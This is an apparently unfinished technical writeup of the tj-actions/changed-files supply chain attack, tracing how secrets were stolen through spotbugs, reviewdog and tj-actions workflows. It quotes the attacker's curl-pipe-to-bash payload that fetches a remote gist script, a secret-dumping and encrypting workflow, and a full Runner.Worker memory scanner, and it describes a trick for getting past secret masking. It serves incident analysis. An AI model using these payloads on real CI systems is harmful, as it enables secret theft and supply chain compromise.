Filling in the blank: Technical writeup of the tj-actions supply chain attack
- Workflow consist of actions
- Have triggers
- Actions have inputs and outputs
- There are secrets
- Further step by step technical analysis of
cve-2025-30066- Filling in the blanks
Main resources
- GitHub Action tj-actions/changed-files supply chain attack: everything you need to know
- GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment (Updated 4/2)
- DEF CON 33 - Not Just a Pipeline Leak: Reconstructing Real Attack Behind tj-actions - Aviad Hahami
Add overview image here
Spotbugs/sonar-findbugs
On December 5th, the malicious user randolzfow created a malicious Pull Request — also called pwn request — to merge his fork into https://github.com/spotbugs/sonar-findbugs. According to the OWASP Top 10 CI/CD Security Risks, the attacker conducted an indirect Public Poisoned Pipeline Execution attack where untrusted code was indirectly executed via maven.
At the time of the introduction of the vulnerable workflow, there were $4$ workflows. Two of them had the pull_request_target trigger which was the main workflow misconfiguration. However, only the workflow sonarqube.yml below was vulnerable and resulted into insufficient checks and access to secrets:
on:
push:
branches:
- master
- sq-10
paths-ignore:
- '.github/actions/**'
pull_request_target:
branches:
- master
paths-ignore:
- '.github/actions/**'
release:
types:
- created
# set necessary permissions for SQ's GitHub integration
# https://docs.sonarqube.org/latest/analysis/github-integration/#header-2
permissions:
checks: write
contents: read
pull-requests: write
statuses: read
jobs:
build:
# Forked repos do not have access to the Sonar account
if: github.repository == 'spotbugs/sonar-findbugs'
runs-on: ubuntu-latest
env:
# previous LTS version
SONAR_SERVER_VERSION: 9.9.7.96285
SONAR_PLUGIN_API_VERSION: 9.17.0.587
SONAR_TOKEN: $SONAR_TOKEN
steps:
- name: Decide the ref to check out
uses: haya14busa/action-cond@v1
id: condval
with:
cond: $
if_true: refs/pull/$/merge
if_false: $
- uses: actions/checkout@v4
with:
fetch-depth: 0
ref: $
- name: Set up JDK 17
uses: actions/setup-java@v4
with:
java-version: 17
distribution: temurin
cache: 'maven'
- name: Cache SonarCloud packages
uses: actions/cache@v4
with:
path: |
~/.sonar/cache
key: $-sonar
restore-keys: $-sonar
- name: Build
run: |
./mvnw org.jacoco:jacoco-maven-plugin:prepare-agent verify sonar:sonar -B -e -V -DskipITs \
-Dsonar.server.version=$ \
-Dsonar-plugin-api.version=$ \
-Dsonar.projectKey=com.github.spotbugs:sonar-findbugs-plugin \
-Dsonar.organization=spotbugs \
-Dsonar.host.url=https://sonarcloud.io \
${PR_NUMBER:+ -Dsonar.pullrequest.key=$PR_NUMBER -Dsonar.pullrequest.branch=$PR_BRANCH }
env:
GITHUB_TOKEN: $
SONAR_TOKEN: $
PR_NUMBER: $
PR_BRANCH: $
CI: true
On the first sight, this seems secure as the comment for the build stage says Forked repos do not have access to the Sonar account. The job condition if: github.repository == 'spotbugs/sonar-findbugs' should fail when this workflow executes within a fork as the github.repository should be different - shouldn’t it?
Forks are unique to GitHub that allow users to virtually copy repositories into their user account for various reasons. If a user it not a collaborator for an organization/repository (which requires an invitation), the only way to contribute is to fork and then create a pull request from the fork to the base repository. Implementation wise, forks are inside the base repositories’ network such that all commits we do in that fork are in that network. On the contrary, this has security implications as deleted forks commits are still visible in the base repository network. This basically explains why we can still access the malicious commit even though the fork and user have been deleted.
That already explains why the check for github.repository fails — it always returns the name of the base repository — as the pull request runs in base repository’s context. However, maintainers can restrict automatic workflow runs from fork pull requests by either requiring approval for external contributors or for first time contributors. To gain such status for the latter, which is the default nowadays, it is enough to play grammar police.
In this workflow case, the approval rules don’t come into play due to the special event trigger pull_request_target. It has the following enhances capabilities compared to the trigger pull_request:
- It runs in the context of the base repository such that is has access to their secrets.
- Workflow run approval rules don’t apply because the base branch is considered trusted.
- The
GITHUB_TOKENhas read and write permissions over the base repository
A study from 2022 highlights that this trigger is present in $3.5\%$ of repositories. The number seems low at first sight, but needs to be put into relation with the number of repositories potentially affected due to, e.g. action dependency, like reviewdog.
The final straw here is the step named Decide the ref to check out as it checks out the fork pull request. Therefore, the malicious code from the pull request runs in the context of spotbugs/sonar-findbugs and has access to its secrets. Now, we strive to understand how the attackers choose their payload inside the malicious pull request to change the bash file mvnw:
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
# ----------------------------------------------------------------------------
curl -sSfL https://gist.githubusercontent.com/randolzfow/aa451dfb48c3bc982aeeb5163261f2f4/raw/4171c8ee0e3ca53d249ff340da772d63567fb58e/run.sh | bash > /dev/null 2>&1
if [ -z "$MAVEN_SKIP_RC" ]; then
if [ -f /usr/local/etc/mavenrc ]; then
I was not able to find any archived version of the gist, but I suspect that it simply reads all the secrets and then sends it to a control and command server. I will cover what secrets are available in the next section. The attackers changed the bash file mvnw because the vulnerable workflow point to it to build the project. GitHub disallow automatic runs of newly introduced workflows in a pull request which explains why the attackers chose this indirection.
The table below shows the timeline. We see that the attacker abused the vulnerable workflow within a week while the workflow stayed vulnerable for roughly 5 months:
| Commit Message | Commit Hash | Date | What |
|---|---|---|---|
| Final Fix | 6d051a3652f562bd3a6561bca6809146f6041043 | Apr 1, 2025, 10:23 PM | Remove pull_request_target trigger |
| (Almost) Final fix | ca5dc9db15f6e1124d4eff95e9a1083effd8a828 | Apr 1, 2025, 09:52 PM | Band-aid to restrict to certain author_association or internal membership |
| Revert secret usage | e9004f4c26061d2be872e30e1ffa7d33e754cf85 | Mar 25, 2025, 05:56 PM | Revert to ` GITHUB_TOKEN: $` |
| Malicious Commit | d7804f6816ff9058dcc867c3d5ff57ae70fd3c48 | Dec 5, 2024, 09:38 PM | Execute payload |
| Vulnerability introduction | b45e68465db951b4c1213e80af4e3187ff84bbe6 | Nov 28, 2024, 04:46 AM | Use $ |
Check out the commits via https://github.com/spotbugs/sonar-findbugs/commit/COMMIT-HASH.
TTP
- 3PPE via malicious pull request that triggered an overprivileged CI workflow.
spotbugs/spotbugs
In the initial exploitation step, the attackers stole secrets. Here, we first discuss what types of secrets are commonly available with GitHub CI. After, we present the escalation step the attacker took to reach the reviewdog repository.
Each workflow run receives a GITHUB_TOKEN which is a unique token for authentication within the workflow. Uses-cases for the token are GitHub specific, e.g. setting a label on a pull request, issuing a comment or creating an artifact. The scope of the token is limited to the current repository. Furthermore, the expiry is either $24$ hours or when the job ends. Each token also has a set of permissions, either in read, read/write or none. One example permissions is repository to read or write files. However, the token is disallowed to modify any files in the .github/workflows directory such that attacker need to modify workflow referenced dependencies in case they obtain a GITHUB_TOKEN. To access the token in the workflow, developers can use $ or the alias $.
GITHUB_TOKEN is limited to the repository the workflow runs it. However, some workflows have cross repository interactions, for example, when they are part of the same organization, like Spotbugs. There are two different ways to allow cross interaction: Personal Access Token (PAT) or the github-app via the action create-github-app-token which takes a APP_ID and the APP_PRIVATE_KEY. PATs are either classic or fine-grained, aka scoped, but user-centric. However, fine-grained tokens do not support all the features a classic token has. GitHub warns that they should be protected as much as a password.
Besides these two specific GitHub tokens, repository may also define secrets in the repository settings as long as they have admin or write access, depending on the secret type. There are environment and repository secrets. The former are scoped to build environments whereas the latter are global across the repository.
All in all, the PAT is needed for cross repository actions. The GITHUB_TOKEN is a workflow token and has less value than.
So, after the attacker likely obtained the PAT of a contributor indicated by secrets.PAT_TO_FORK they added the user jurkaofavak to the Spotbugs organization. They then introduced a malicious workflow in the spotbugs/spotbugs repository because the PAT must has write access:
name: hewrkbwkyk
on:
push:
branches: hewrkbwkyk
jobs:
testing:
runs-on:
- ubuntu-latest
steps:
- env:
VALUES: $
name: Prepare repository
run: "\ncat <<EOF > output.json\n$VALUES\nEOF\n "
- name: Run Tests
env:
PUBKEY: '-----BEGIN PUBLIC KEY-----
< OMITTED FOR SPACE >
-----END PUBLIC KEY-----
'
run: aes_key=$(openssl rand -hex 12 | tr -d '\n');openssl enc -aes-256-cbc -pbkdf2
-in output.json -out output_updated.json -pass pass:$aes_key;echo $aes_key
| openssl rsautl -encrypt -pkcs -pubin -inkey <(echo "$PUBKEY") -out lookup.txt
2> /dev/null;
- name: Upload artifacts
uses: actions/upload-artifact@v4
with:
name: files
path: ' |
output_updated.json
lookup.txt'
Basically, the workflow takes all available secrets and encrypts them via in hybrid fashion. Afterwards, the attackers a workflow artifact which they then download. All an attacker had to do was push something to the branch hewrkbwkyk. When we follow the link to the malicious pull request, we see this innocent looking message:

The easiest explanation for this message is that the attacker $1)$ created a new branch hewrkbwkyk $2)$ committed the malicious workflow $3)$ pushed to hewrkbwkyk $4)$ retrieved the artifacts $5)$ deleted the branches as possible traces. Committing the malicious workflow already triggered the workflow because the push event fires even when the branch is created
In Unit42’s article, they were given access to the activity log to show that hewrkbwkyk was the only branch created. They further notice that the exploitation took one second — hinting automation.
TTP
- Add malicious workflow via newly added user to dump repository secrets
- Delete malicious workflows
reviewdog/action-setup
In the next privilege escalation step, the attacker had write access to the reviewdog organization to modify their actions. The organization provides automated code review tools that can be in cooperated via the action-setup action. The secrets they exfiltrated in the spotbugs repository contained a PAT where the owner was part of both organizations. This action is the starting point in the weaponizations as it’s referenced by various repositories.
The attacker introduces malicious code in action-setup and changes references in action-typos to rely on the malicious action-setup. The action-setup action definition will trigger the bash script install.sh. Inside that script, the attacker introduced a memory scanner to search for secrets during CI runs. The script creator notes:
There are rare cases when the GITHUB_TOKEN is not referenced in a workflow and not persisted with a local git config so the above technique does not work. However, the GITHUB_TOKEN is always passed to the Runner.Worker process. So after having an arbitrary code execution one could dump memory of the Runner.Worker process and grep the dump for the GITHUB_TOKEN. See https://gist.github.com/nikitastupin/30e525b776c409e03c2d6f328f254965 for the example script.
Below is the memory scanner which will dump entire memory regions to std.out. The script was slightly obfuscated with base64 in the malicious commit:
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
Interestingly, the attacker had a series of $12$ more modifications to the installation script. It took the attacker $8$ commits to add the missing sudo which the memory scan script requires for accessing /proc/{pid}. The commits after were changed to the sleep amount for the script and echo modifications. The latter had the aim to hide the publicly accessible action output by grouping log lines. For each commit to action-setup, the attacker then changed action-typos to rely on that action version by commit of action-setup. Therefore, the attacker seems to use action-typos as a testing bed. The weaponization begins when the attacker changes the reference of the release tags to the malicious commits.
I created my own repository with a workflow to compare the secret dumping via $ to the memory scanner. Furthermore, I added a test repository secret. I noticed that a simple string transformation, e.g. tr 'g' 'G', is enough to overcome the accidental secret exposure protection:

After the last commit, the attacker modified the tag v1. GitHub support three versioning reference mechanism, either by branch name, by tag or by commit. Koishybayev et. al note that versioning by tag is the most common mechanism. This is still true nowdays, but we see changes towards moving to references by commit. Branches always point to the current head and tags point to its reference commit. Therefore, both are mutable whereas a commit is not mutable. From a security perspective, mutable references to enable supply chain attacks. However, from a developer perspective, mutable references to allow for automatic bug fixes. For action-setup, the attacker changed the tag v1 to point to the malicious commit above and reverted the change 2 hours later.
All in all, this step exploits the dependency chain and spread the vulnerable code. According to Unit 42, there are $3047$ direct and $159986$ three hop dependencies relying on action-setup — spreading like a true worm. Furthermore, they note that the change of the tag reference are not recorded inside the GitHub audit log for GitHub’s free tier. Moreover, a 2023 blog post from paloaltonetworks illustrates the dependency problem in depth.
TTP
- Weaponization of the action
action-setupto distribute a memory scanner for secrets - Secret obfuscation via double base64 and log line grouping
tj-actions/eslint-changed-files
While some of actions-setup tags were compromised for a short amount of time, it infected eslint-changed-files. We can see the current action.yml file for that action below.
runs:
using: 'composite'
steps:
- uses: reviewdog/action-setup@e04ffabe3898a0af8d0fb1af00c188831c4b5893 # v1.3.2
if: inputs.skip_annotations == 'false'
with:
reviewdog_version: v0.20.0
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@ed68ef82c095e0d48ec87eccea555d944a631a4c # v46.0.5
As we know, the malicious version of action-setup contained a memory dump based secret search.
So what don’t I understand:
- What is this composite action
- So reviewdog infected eslint, how did it infect changed files?
Current data:
- GitHub Issue, the attacker managed to leak the PAT for
tj-actions-bot. The bot managed interactions with contributors on thetj-actionsorganization. - According to discussion on GitHub, the attacker was able to leak a PAT that was stored as a secret.
However, without additional analysis, I am unable to verify how the tj-actions organization was breached.
As a result of the attack, the main owner of tj-actions changed all references to direct by commit references.
https://github.com/tj-actions/changed-files/issues/2464
https://github.com/tj-actions/eslint-changed-files/blob/main/action.yml
https://github.com/tj-actions/changed-files/security/advisories/GHSA-mw4p-6x4p-x5m5
tj-actions/eslint-changed-files
- The attacker disguised its activity with the renovate bot
- It’s easy to impersonate users when there are no signed commits
After this, tj-actions/changed-files’s CI workflow was invoked
This workflow uses the tj-actions/eslint-changed-files GitHub action as a pipeline dependency, which in turn depends on and runs the malicious code at reviewdog/action-setup
coinbase/agentkit
#
https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax#permissions